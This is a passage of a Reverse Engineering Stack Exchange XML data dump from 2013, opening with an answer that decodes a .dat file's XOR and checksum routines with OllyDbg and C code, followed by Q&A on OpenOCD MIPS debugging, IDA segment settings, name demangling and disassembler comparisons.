Last DWORD aka checksum --+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Steps and details in order of discovery:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Split the .dat file in chunks of 16384 bytes and also generate a hex-dump of each file for easy search and comparison. To be honest I use Linux for this part with &lt;code&gt;dd&lt;/code&gt;, &lt;code&gt;xxd -ps&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt;, &lt;code&gt;diff&lt;/code&gt; etc.&lt;/p&gt;&#xA;&lt;p&gt;Start OllyDbg, open the application, locate &lt;code&gt;CreateFile&lt;/code&gt; and set breakpoint:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;00401220   $-FF25 18825000  JMP DWORD PTR DS:[&amp;lt;&amp;amp;kernel32.CreateFileA&amp;gt;;  kernel32.CreateFileA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Press &lt;code&gt;F9&lt;/code&gt; until filename (in &lt;code&gt;EAX&lt;/code&gt;) is .dat file. Set/enable breakpoint on &lt;code&gt;ReadFile&lt;/code&gt;. &lt;code&gt;F9&lt;/code&gt; and when read is done start stepping and looking at what is done.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Looking at it:&lt;/p&gt;&#xA;&lt;h1&gt;2.2:&lt;/h1&gt;&#xA;&lt;p&gt;After read it first modify the buffer by using offset as &amp;quot;magic&amp;quot; starting at:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0045F5EC  /$ 53   PUSH EBX     ;  ALGO 2: XOR algorithm - post file read.&#xA;...&#xA;0045F6B6  \. C3   RETN         ;  ALGO 2: RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At least two of the actions taken seems to be &lt;a href=&quot;https://bitbucket.org/hbhzwj/imalse/src/74e53be30a75/tools/inet-3.0/libj_random.c#cl-350&quot; rel=&quot;noreferrer&quot;&gt;libj_randl1()&lt;/a&gt; and &lt;a href=&quot;https://bitbucket.org/hbhzwj/imalse/src/74e53be30a75/tools/inet-3.0/libj_random.c#cl-364&quot; rel=&quot;noreferrer&quot;&gt;libj_randl2()&lt;/a&gt;. &lt;em&gt;(This would be step 2.2 in list above.)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Simplified:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;edx = memory address of buffer&#xA;ecx = offset / 0x4000&#xA;edi = edx&#xA;ebx = ecx * 0x9b9&#xA;esi = last dword of buffer &amp;amp; 0x7fffffff&#xA;ecx = 0&#xA;&#xA;i = 0;&#xA;while (i &amp;lt; 0x3ffc) { /* size of buffer - 4 */&#xA;    manipulate buffer&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The whole routine translated to C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int xor_buf(uint8_t *buf, long offset, long buf_size)&#xA;{&#xA;    int32_t eax;&#xA;    int32_t ebx;&#xA;    int32_t esi;&#xA;    long i;&#xA;&#xA;    buf_size -= 4;&#xA;&#xA;    ebx = (offset / 0x4000) * 0x9b9;&#xA;    /* Intel int 32 */&#xA;    esi = (&#xA;        (buf[buf_size + 3] &amp;lt;&amp;lt; 24) |&#xA;        (buf[buf_size + 2] &amp;lt;&amp;lt; 16) |&#xA;        (buf[buf_size + 1] &amp;lt;&amp;lt;  8) |&#xA;         buf[buf_size + 0]&#xA;        ) &amp;amp; 0x7fffffff;&#xA;&#xA;    for (i = 0; i &amp;lt; buf_size /*0x3ffc*/; ++i) {&#xA;        /* libj_randl2(sn) Ref. link above. */&#xA;        ebx = ((ebx % 0x0d1a4) * 0x9c4e) - ((ebx / 0x0d1a4) * 0x2fb3);&#xA;&#xA;        if (ebx &amp;lt; 0) {&#xA;            ebx += 0x7fffffab;&#xA;        }&#xA;&#xA;        /* libj_randl1(sn) Ref. link above. */&#xA;        esi = ((esi % 0x0ce26) * 0x9ef4) - ((esi / 0x0ce26) * 0x0ecf);&#xA;&#xA;        if (esi &amp;lt; 0) {&#xA;            esi += 0x7fffff07;&#xA;        }&#xA;&#xA;        eax = ebx - 0x7fffffab + esi;&#xA;&#xA;        if (eax &amp;lt; 1) {&#xA;            eax += 0x7fffffaa;&#xA;        }&#xA;&#xA;        /* Modify three next bytes. */    &#xA;        buf[i] ^= (eax &amp;gt;&amp;gt; 0x03) &amp;amp; 0xff;&#xA;&#xA;        if (++i &amp;lt;= buf_size) {&#xA;            buf[i] ^= (eax &amp;gt;&amp;gt; 0x0d) &amp;amp; 0xff;&#xA;        }&#xA;        if (++i &amp;lt;= buf_size) {&#xA;            buf[i] ^= (eax &amp;gt;&amp;gt; 0x17) &amp;amp; 0xff;&#xA;        }&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Then a checksum is generated of the resulting buffer, (minus last dword), and checked against last dword. Here it uses a buffer from BSS segment that is generated upon startup, &lt;em&gt;step 1. from list above&lt;/em&gt;. (Offset &lt;code&gt;0x00505000&lt;/code&gt; + &lt;code&gt;0x894&lt;/code&gt; and using a region of &lt;code&gt;4 * 0x100&lt;/code&gt; as it is 256 32 bit integers). This seed map seems to be constant (never re-generated / changed) and can be skipped if one do not want to validate the buffer.&lt;/p&gt;&#xA;&lt;h1&gt;1.&lt;/h1&gt;&#xA;&lt;p&gt;Code point in disassembly (Comments mine.):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0045E614 . 53   PUSH EBX           ;  ALGO 1: GENERATE CHECKSUM MAGICK BSS&#xA;...&#xA;0045E672 . C3   RETN               ;  ALGO 1: RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The code for the BSS numbers can simplified be written in C as e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int eax;    /* INT NR 1, next generated number to save */&#xA;int i, j;&#xA;&#xA;unsigned int bss[0x100] = {0};  /* offset 00505894 */&#xA;&#xA;for (i = 0; i &amp;lt; 0x100; ++i) {&#xA;    eax = i &amp;lt;&amp;lt; 0x18;&#xA;    for (j = 0; j &amp;lt; 8; ++j) {&#xA;        if (eax &amp;amp; 0x80000000) {&#xA;            eax = (eax + eax) ^ 0x4c11db7;&#xA;        } else {&#xA;            eax &amp;lt;&amp;lt;= 1;&#xA;        }&#xA;    }&#xA;    bss[i] = eax;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;2.3:&lt;/h1&gt;&#xA;&lt;p&gt;That bss int array is used on the manipulated buffer to generate a checksum that should be equal to the last integer in the 16384 bytes read from file. &lt;em&gt;(Last dword, the one skipped in checksum routine and XOR'ing.)&lt;/em&gt;. &lt;em&gt;This would be step 2.3 in list above.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned char *buf = manipulated file buffer;&#xA;unsigned char *bss = memory dump 0x00505894 - 0x00505C90, or from code above&#xA;&#xA;eax = 0x13d0010;  /* Memory location for buffer. */&#xA;edx = 0x3ffc;     /* Size of buffer - 4 bytes (checksum). */&#xA;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At exit &lt;code&gt;ecx&lt;/code&gt; is equal to checksum.&lt;/p&gt;&#xA;&lt;p&gt;Code point in disassembly (Comments mine.):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0045E5A8  /$ 53  PUSH EBX    ;  ALGO 3: CALCULATE CHECKSUM AFTER ALGORITHM 2&#xA;...&#xA;0045E5E0  \. C3  RETN        ;  ALGO 3: RETN (EAX=CHECKSUM == BUFFER LAST 4 BYTES)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Shortened to a C routine it could be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int32_t checksum(int32_t map[0x100], uint8_t *buf, long len)&#xA;{&#xA;    int i;&#xA;    int32_t k, cs = 0;&#xA;&#xA;    for (i = 0; i &amp;lt; len; ++i) {&#xA;        k = (cs &amp;gt;&amp;gt; 0x18) &amp;amp; 0xff;&#xA;        cs = map[buf[i] ^ k] ^ (cs &amp;lt;&amp;lt; 0x08);&#xA;    }&#xA;&#xA;    return cs;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;It is checked to be OK and then checksum in buffer is set as: two least significant bytes = 0, two most significant bytes are set to some number (chunk number in file or read number, (starting from 0)).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0045F9BF   . C680 FC3F0000 &amp;gt;MOV BYTE PTR DS:[EAX+3FFC],0     ;  Set two lower bytes of checksum in dat buf to 0&#xA;0045F9C6   . C680 FD3F0000 &amp;gt;MOV BYTE PTR DS:[EAX+3FFD],0     ;  follows previous&#xA;0045F9CD   . 66:8B4D F8     MOV CX,WORD PTR SS:[EBP-8]       ;  Set CX to stack pointer value of addr EBP - 8 (counter of sorts)&#xA;0045F9D1   . 66:8988 FE3F00&amp;gt;MOV WORD PTR DS:[EAX+3FFE],CX    ;  Set .dat buffer higher bytes like CX.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Now after all this is done the actual copying of data starts with even more algorithms. &lt;strong&gt;Here the real work starts&lt;/strong&gt;. Identifying data types, structures, where and what etc. Found some &lt;em&gt;routines&lt;/em&gt; that extracted names etc. But everything being Finnish didn't help on making it easier to grasp ;).&lt;/p&gt;&#xA;&lt;p&gt;The data above could be a start.&lt;/p&gt;&#xA;&lt;p&gt;Some breakpoints that might be of interest to begin with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoints&#xA;Address    Module     Active    Disassembly  Comment&#xA;0045E5A8   Kirjaus5   Disabled  PUSH EBX     ALGO 3: CALCULATE CHECKSUM AFTER ALGORITHM 2&#xA;0045E5E0   Kirjaus5   Disabled  RETN         ALGO 3: RETN (EAX=CHECKSUM == BUFFER LAST 4 BYTES)&#xA;0045E614   Kirjaus5   Disabled  PUSH EBX     ALGO 1: GENERATE CHECKSUM MAGIC BSS&#xA;0045E672   Kirjaus5   Disabled  RETN         ALGO 1: RETN&#xA;0045F5EC   Kirjaus5   Disabled  PUSH EBX     ALGO 2: FILE POST XOR READ ALGORITHM&#xA;0045F6B6   Kirjaus5   Disabled  RETN         ALGO 2: RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;Some notes:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Keep a backup of the .dat file you are working with. If you abort the application the file often gets corrupted as it, as noted by &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/1924/blabb&quot;&gt;@blabb&lt;/a&gt;, write data back to file. The .dat file also seem to be &lt;em&gt;live&lt;/em&gt; so a new download of it would result in different data.&lt;/p&gt;&#xA;" OwnerUserId="1568" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-07-02T22:38:10.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2397" PostTypeId="1" CreationDate="2013-07-02T13:46:08.627" Score="7" ViewCount="3838" Body="&lt;p&gt;I am trying to use the &lt;a href=&quot;http://openocd.sourceforge.net/&quot;&gt;OpenOCD&lt;/a&gt; functionality of a &lt;a href=&quot;http://dangerousprototypes.com/docs/Bus_Blaster_v2_design_overview&quot;&gt;BusBlaster&lt;/a&gt; to debug a MIPS target. However, it doesn't look as though my target MIPS chip is defined in the list of sample target chip configurations - in my directory for OpenOCD, version 0.7.0, I am looking in the &lt;code&gt;tcl/target&lt;/code&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How mature is the MIPS EJTAG functionality in OpenOCD? I see in the changelog that MIPS EJTAG support has been improved, but am having trouble finding details in the project about this and I don't yet have the familiarity with OpenOCD or EJTAG to understand what might be missing from the &lt;code&gt;src/target/mips_ejtag&lt;/code&gt; files. &lt;/li&gt;&#xA;&lt;li&gt;What configuration steps are involved in setting up OpenOCD to do JTAG debugging on a new MIPS EJTAG target? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="118" LastEditorUserId="4212" LastEditDate="2014-06-04T07:30:23.303" LastActivityDate="2019-03-28T21:04:05.437" Title="Using MIPS EJTAG functionality in OpenOCD" Tags="|hardware|jtag|mips|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2398" PostTypeId="2" ParentId="2394" CreationDate="2013-07-02T14:32:16.493" Score="8" Body="&lt;p&gt;These so called flags are imported from binary. Let's take &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/gg463119.aspx&quot; rel=&quot;noreferrer&quot;&gt;Microsoft's PE/COFF&lt;/a&gt; format binary for example. This is basic layout of PE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1XAik.png&quot; alt=&quot;PE/COFF Layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each segment that you see in IDA is a loaded in accordance to &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms680341%28v=vs.85%29.aspx&quot; rel=&quot;noreferrer&quot;&gt;IMAGE_SECTION_HEADER&lt;/a&gt; structure of the particular section/segment. The structure has the following format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _IMAGE_SECTION_HEADER {&#xA;  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];&#xA;  union {&#xA;    DWORD PhysicalAddress;&#xA;    DWORD VirtualSize;&#xA;  } Misc;&#xA;  DWORD VirtualAddress;&#xA;  DWORD SizeOfRawData;&#xA;  DWORD PointerToRawData;&#xA;  DWORD PointerToRelocations;&#xA;  DWORD PointerToLinenumbers;&#xA;  WORD  NumberOfRelocations;&#xA;  WORD  NumberOfLinenumbers;&#xA;  DWORD Characteristics;&#xA;} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;DDWORD Characteristics&lt;/code&gt;&lt;/strong&gt; member of the structure holds flags that indicate permission levels for the section/segment. There are lots different flags available, but to name few: &lt;strong&gt;&lt;code&gt;IMAGE_SCN_MEM_READ&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;IMAGE_SCN_MEM_WRITE&lt;/code&gt;&lt;/strong&gt;, and &lt;strong&gt;&lt;code&gt;IMAGE_SCN_MEM_EXECUTE&lt;/code&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As IDA loads executable, all work thereafter is done within the database. No changes are made to executable by IDA. I believe you will have to patch your executable in order to change read/write/execute permissions on a segment permanently. Unless, there is a script or plug-in to do it. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-07-02T15:10:19.370" LastActivityDate="2013-07-02T15:10:19.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2399" PostTypeId="2" ParentId="2394" CreationDate="2013-07-02T15:01:42.783" Score="10" Body="&lt;p&gt;I don't know of anything natively built into the GUI that allows you to change the segment permissions, but you can easily change the segment permissions with IDC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From IDA's help file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetSegmentAttr  &#xA;&#xA;***********************************************&#xA;** set segment attribute&#xA;        arguments:      segea - any address within segment&#xA;                        attr  - one of SEGATTR_... constants&#xA;                        value - the new value of the attribute&#xA;&#xA;success SetSegmentAttr(long segea, long attr, long value);&#xA;SEGATTR_ALIGN          alignment&#xA;SEGATTR_COMB           combination&#xA;SEGATTR_PERM           permissions&#xA;SEGATTR_FLAGS          segment flags&#xA;SEGATTR_SEL            segment selector&#xA;SEGATTR_ES             default ES value&#xA;SEGATTR_CS             default CS value&#xA;SEGATTR_SS             default SS value&#xA;SEGATTR_DS             default DS value&#xA;SEGATTR_FS             default FS value&#xA;SEGATTR_GS             default GS value&#xA;SEGATTR_TYPE           segment type&#xA;SEGATTR_COLOR          segment color&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From segment.hpp:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* 22 */  uchar perm;           // Segment permissions (0-no information)&#xA;#define SEGPERM_EXEC  1 // Execute&#xA;#define SEGPERM_WRITE 2 // Write&#xA;#define SEGPERM_READ  4 // Read&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As such, if you wanted to set the permissions of a segment that begins at VA 0x00400000 to both Read and Execute, you could just run the following IDC command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SetSegmentAttr(0x00400000, SEGATTR_PERM, 4 | 1);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you're &lt;em&gt;just&lt;/em&gt; looking to deal with warnings from Hex-Rays, it &lt;em&gt;may&lt;/em&gt; suffice to use the Segments view in the GUI to change a segment's class from &lt;code&gt;CODE&lt;/code&gt; to &lt;code&gt;DATA&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2013-07-02T15:01:42.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2400" PostTypeId="1" AcceptedAnswerId="2445" CreationDate="2013-07-02T15:53:33.987" Score="3" ViewCount="2182" Body="&lt;p&gt;As per &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/517.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA Online Help&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The segment class name identifies the segment with a class name (such as CODE, FAR_DATA, or STACK). The linker places segments with the same class name into a contiguous area of memory in the runtime memory map.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IDA has the following predefined segment class names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    CODE    -       Pure code&#xA;    DATA    -       Pure data&#xA;    CONST   -       Pure data&#xA;    BSS     -       Uninitialized data&#xA;    STACK   -       Uninitialized data&#xA;    XTRN    -       Extern definitions segment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I could tell permission on a segment already offer all relevant information.&#xA;What is the exact purpose(or applicable usage) of &lt;em&gt;Segment Class Name&lt;/em&gt;? How does IDA utilize it internally?&lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-07-13T01:49:02.400" Title="IDA: Segment Class Name" Tags="|disassembly|ida|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2401" PostTypeId="2" ParentId="2388" CreationDate="2013-07-03T01:53:30.917" Score="8" Body="&lt;p&gt;(Slightly off-topic)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c++filt is a very useful utility for de-mangling on Unix. I am not sure it is available in Visual Studio as well, but &lt;a href=&quot;http://ishiboo.com/~danny/Projects/vc++filt/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is a simple implementation you can compile. Compare output (g++, not VC):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ nm a.out&#xA; 0000000100001040 S _NXArgc&#xA; 0000000100001048 S _NXArgv&#xA; 0000000100000d40 T __ZN6complxC1Edd&#xA; 0000000100000d10 T __ZN6complxC2Edd&#xA; 0000000100000d70 T __ZNK6complxplERKS_&#xA; 0000000100001058 S ___progname&#xA; 0000000100000000 T __mh_execute_header&#xA; 0000000100001050 S _environ&#xA;                  U _exit&#xA; 0000000100000e20 T _main&#xA; 0000000100001000 s _pvars&#xA;                  U dyld_stub_binder&#xA; 0000000100000cd0 T start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With c++filt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ nm a.out |c++filt&#xA; 0000000100001040 S _NXArgc&#xA; 0000000100001048 S _NXArgv&#xA; 0000000100000d40 T complx::complx(double, double)&#xA; 0000000100000d10 T complx::complx(double, double)&#xA; 0000000100000d70 T complx::operator+(complx const&amp;amp;) const&#xA; 0000000100001058 S ___progname&#xA; 0000000100000000 T __mh_execute_header&#xA; 0000000100001050 S _environ&#xA;                  U _exit&#xA; 0000000100000e20 T _main&#xA; 0000000100001000 short _pvars&#xA;                  U dyld_stub_binder&#xA; 0000000100000cd0 T start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1358" LastEditorUserId="1358" LastEditDate="2013-08-11T06:26:01.357" LastActivityDate="2013-08-11T06:26:01.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2402" PostTypeId="2" ParentId="2359" CreationDate="2013-07-03T04:44:49.063" Score="1" Body="&lt;p&gt;Section names don't mean anything to the PE loader and you can set them manually or change them using hex editors. So the only real way of knowing the section's real properties is by checking &lt;code&gt;IMAGE_SECTION_HEADER&lt;/code&gt;'s &lt;code&gt;Characteristics&lt;/code&gt; field. Use a PE dumping utility like dumpbin and check to see if the section is marked as executable.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2013-07-03T04:44:49.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2403" PostTypeId="2" ParentId="2400" CreationDate="2013-07-03T10:26:00.183" Score="2" Body="&lt;p&gt;There are differences between the segments types other than the permissions. For example XTRN is used to show the pink areas for imports in the disassembly view.&#xA;I guess that info also helps IDA in the autoanalysis phase for code, data and const segments. Elements in code sections have higher chance of being code then data, and vice versa.&#xA;Stack is obviously very different at how it's displayed and handled.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2013-07-03T10:26:00.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2405" PostTypeId="2" ParentId="2388" CreationDate="2013-07-03T14:38:10.053" Score="3" Body="&lt;p&gt;There is a &lt;a href=&quot;http://zed.0xff.me/2013/05/06/demangle-msvc-delphi-and-c-builder-mangled-function-names-with-pure-ruby&quot; rel=&quot;nofollow&quot;&gt;ruby gem&lt;/a&gt; that unmangles C++ names. Its doesn't support GCC yet though what you have there is MSVC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could drop this in a ruby shoes app have a name unmangler gui pretty quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require 'unmangler'&#xA;&#xA;puts Unmangler.unmangle &quot;??3@YAXPAX@Z&quot;&#xA;puts Unmangler.unmangle &quot;?AFXSetTopLevelFrame@@YAXPAVCFrameWnd@@@Z&quot;&#xA;&#xA;# output:&#xA;# void __cdecl operator delete(void *)&#xA;# void __cdecl AFXSetTopLevelFrame(class CFrameWnd *)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-07-03T14:38:10.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2407" PostTypeId="2" ParentId="2357" CreationDate="2013-07-03T19:22:31.877" Score="1" Body="&lt;p&gt;As for converting to a byte array, you can use a tool like this: &lt;a href=&quot;http://code.google.com/p/bmp2txt/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/bmp2txt/&lt;/a&gt; to get the pixel data and then convert the output to a byte array using a bin2hex . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bmp2txt is a fairly old app I made while learning c and it only works on 24bit bitmaps and it's coded pretty poorly, it's just an example to show you how to rip the bytes.&lt;/p&gt;&#xA;" OwnerUserId="2074" LastActivityDate="2013-07-03T19:22:31.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2408" PostTypeId="1" AcceptedAnswerId="2409" CreationDate="2013-07-03T21:36:35.133" Score="9" ViewCount="9588" Body="&lt;p&gt;It is possible to import structures and enums declarations from C files in IDA. &#xA;However, is it possible to export structures and enums to C?&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="2158" LastEditDate="2013-07-04T05:02:41.880" LastActivityDate="2014-01-09T06:54:19.267" Title="Exporting structures and enums in IDA" Tags="|ida|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2409" PostTypeId="2" ParentId="2408" CreationDate="2013-07-03T21:36:35.133" Score="14" Body="&lt;p&gt;It is possible to export a structure by going in &lt;strong&gt;Local Types&lt;/strong&gt; (&lt;kbd&gt;Shift+F1&lt;/kbd&gt;). Then select the structure you want to export and in the contextual menu choose either &lt;strong&gt;Edit&lt;/strong&gt; or &lt;strong&gt;Export to header file&lt;/strong&gt;. It is possible to export multiple structures by holding Shift when selecting them.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-01-09T05:19:20.277" LastActivityDate="2014-01-09T05:19:20.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2410" PostTypeId="2" ParentId="2384" CreationDate="2013-07-04T02:15:19.357" Score="3" Body="&lt;p&gt;&quot;Hacker Protection Factor&quot; is a geeky play of words on &quot;Sun Protection Factor&quot; -- how much longer can an application be attacked before being damaged. The numbers are based on empirical evidence (&quot;&lt;em&gt;Based on our experience,...&lt;/em&gt;&quot;). I thought it was cute; it is not an industry standard, but it does serve as a simple indication that an application processed with ProGuard is more difficult to reverse-engineer than the original application, and an application processed with DexGuard is &lt;em&gt;a lot&lt;/em&gt; more difficult to reverse-engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am the developer of ProGuard and DexGuard)&lt;/p&gt;&#xA;" OwnerUserId="2387" LastActivityDate="2013-07-04T02:15:19.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2411" PostTypeId="1" CreationDate="2013-07-04T07:40:03.283" Score="4" ViewCount="2886" Body="&lt;p&gt;When I try to get remote debugging working with IDA, using an Android emulator, I get the following error on the command prompt.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./android_server &#xA;IDA Android 32-bit remote debug server(ST) v1.15.&#xA;Hex-Rays (c) 2004-2012 bind: Address already in use&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I instead need the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./android_server IDA Android 32-bit remote debug server(ST) v1.15.&#xA;Hex-Rays (c) 2004-2012 Listening on port #23946...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I correct this?&lt;/p&gt;&#xA;" OwnerUserId="2388" LastEditorUserId="189" LastEditDate="2013-07-04T09:30:07.053" LastActivityDate="2013-07-09T16:31:20.237" Title="Remote Android debugging using IDA 32 bit - bind: Address already in use error" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2412" PostTypeId="1" CreationDate="2013-07-04T16:41:01.537" Score="6" ViewCount="1462" Body="&lt;p&gt;I'm currently working on a tool to automate several actions which relate to unpacking software. I would like to use the run trace of Ollydbg (1.10 preferred since it has many antidebug/usage/etc plugins). However, I do not seem to know any library which offers parsing Ollydbg run trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of any library which can do that or any project which has already done it? &lt;/p&gt;&#xA;" OwnerUserId="2391" LastEditorUserId="2158" LastEditDate="2013-07-04T16:55:14.000" LastActivityDate="2014-01-04T02:08:02.773" Title="Is there any tool which parses ollydbg run trace?" Tags="|unpacking|ollydbg|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2413" PostTypeId="2" ParentId="2378" CreationDate="2013-07-05T00:47:57.297" Score="8" Body="&lt;p&gt;I am using IDA for about 10 years and I have been using Hopper for a few months (on Kubuntu and Windows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends what you want to do, what budget you have and whether it's hobby or professional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, IDA is more powerful in most aspects. It supports a wider ranger of processors, has more loaders and a plugin system as well as two powerful scripting languages (IDC/Python).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the price tag, Hopper is &lt;strong&gt;well worth&lt;/strong&gt; the purchase. Indeed, I can confirm that the decompiler is more simplistic than even the Hex-Rays decompiler in its beta some years back (I have never used it again since then). If someone wants to start with reverse engineering, I am clearly recommending IDA Freeware for those that work only with Windows PE files (and outside a commercial context) and Hopper if the hobbyist is willing to shell out a few bucks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few things to consider: do you look for a decompiler or a disassembler and what's your budget? From daily use I'd say that the disassembler for x86 and x64 is pretty much equivalent for ELF (Linux) and PE (Windows) files from my point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All features in Hopper seem to function as well as you'd expect from a fairly new product (meaning the time of development that went into it overall) and the price tag. It is being improved all the time, so you'll be able to get feature updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the biggest - by far - &lt;strong&gt;disadvantage&lt;/strong&gt; for me is the &quot;learning curve&quot;. A lot of the features in Hopper have different shortcuts or slightly different work flows, but one can clearly see how the author must be aware of IDA and recent developments in IDA (notably since about IDA version 5.0). Although I come from the other side, I think someone starting with 